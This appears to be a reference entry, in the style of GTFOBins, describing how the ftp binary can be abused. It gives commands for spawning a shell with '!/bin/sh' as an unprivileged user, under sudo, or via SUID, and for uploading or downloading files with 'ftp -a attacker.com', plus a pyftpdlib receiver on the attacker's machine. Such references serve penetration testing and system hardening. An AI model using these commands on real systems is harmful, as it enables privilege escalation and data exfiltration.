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• Shell
• Upload
• Download

Shell

This executable can spawn an interactive system shell.

• Unprivileged

  This function can be performed by any unprivileged user.

  ftp
  !/bin/sh

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  ftp
  !/bin/sh

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.

  ftp
  !/bin/sh

Upload

This executable can upload local data.

• Comment

  Instead of -a, credentials can be supplied via the user:password@host connection string.

  Unprivileged

  This function can be performed by any unprivileged user.

  ftp -a attacker.com
  put /path/to/input-file output-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  ftp -a attacker.com
  put /path/to/input-file output-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  ftp -a attacker.com
  put /path/to/input-file output-file

  Receiver

  An FTP server can be used on the attacker box to receive the data.

  python -m pyftpdlib -w -p 21

Download

This executable can download remote data.

• Comment

  Instead of -a, credentials can be supplied via the user:password@host connection string.

  Unprivileged

  This function can be performed by any unprivileged user.

  ftp -a attacker.com
  get /path/to/input-file output-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  ftp -a attacker.com
  get /path/to/input-file output-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  ftp -a attacker.com
  get /path/to/input-file output-file

  Sender

  An FTP server can be used on the attacker box to send the data.

  python -m pyftpdlib -w -p 21

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